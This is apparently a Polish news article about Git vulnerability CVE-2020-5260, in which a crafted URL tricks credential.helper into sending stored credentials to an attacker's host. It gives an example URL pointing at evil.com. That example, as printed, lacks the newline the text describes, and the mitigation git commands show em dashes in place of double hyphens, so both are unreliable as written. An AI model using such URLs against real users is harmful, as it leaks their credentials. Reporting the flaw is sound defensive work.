Vulnerability in Git that leads to credential exposure

Opublikowano aktualizacje poprawek systemu zarządzania kodem źródłowym Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 i 2.17.4, w których usunięto luka (CVE-2020-5260) w obsłudze „credential.helper«, co prowadzi do przesyłania danych uwierzytelniających do niewłaściwego hosta, gdy klient git łączy się z repozytorium za pomocą specjalnie uformowanego URL, zawierającego znak nowej linii. Wykorzystanie tej podatności może umożliwić przesyłanie danych uwierzytelniających z innego hosta na serwer kontrolowany przez atakującego.

Podając adres URL w postaci „https://evil.com?host=github.com/”, przetwornik danych uwierzytelniających podczas łączenia się z hostem evil.com przekaże parametry uwierzytelniania przypisane do github.com. Problem ten pojawia się podczas wykonywania takich operacji, jak „git clone”, w tym przy przetwarzaniu adresu URL dla submodułów (na przykład podczas wykonywania „git submodule update” automatycznie zostaną przetworzone adresy URL określone w pliku .gitmodules w repozytorium). Największe zagrożenie stanowi ta podatność w sytuacjach, gdy programista klonuje repozytorium, nie widząc adresu URL, na przykład podczas pracy z submodułami, lub w systemach, które wykonują automatyczne działania, takich jak skrypty do budowy pakietów.

Aby zablokować podatność w nowych wersjach zabroniono przesyłanie znaku nowej linii w jakichkolwiek wartościach przesyłanych przez protokół wymiany danych uwierzytelniających. Aby śledzić wydanie aktualizacji pakietów dla dystrybucji, można odwiedzić strony Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

Jako tymczasowe rozwiązanie problemu zaleca się nie używaj credential.helper podczas dostępu do publicznych repozytoriów i nie stosuj „git clone” w trybie „—recurse-submodules” z niezweryfikowanymi repozytoriami. Aby całkowicie wyłączyć obsługę credential.helper, która wykonuje zapis i pobieranie haseł z cache, zabezpieczonego magazynów lub z pliku z hasłami, można użyć poleceń:

git config —unset credential.helper
git config —global —unset credential.helper
git config —system —unset credential.helper

Źródło: opennet.ru

Kup niezawodny hosting stron z ochroną DDoS, serwery VPS VDS 🔥 Kup niezawodny hosting stron z ochroną DDoS, serwery VPS VDS - ProHoster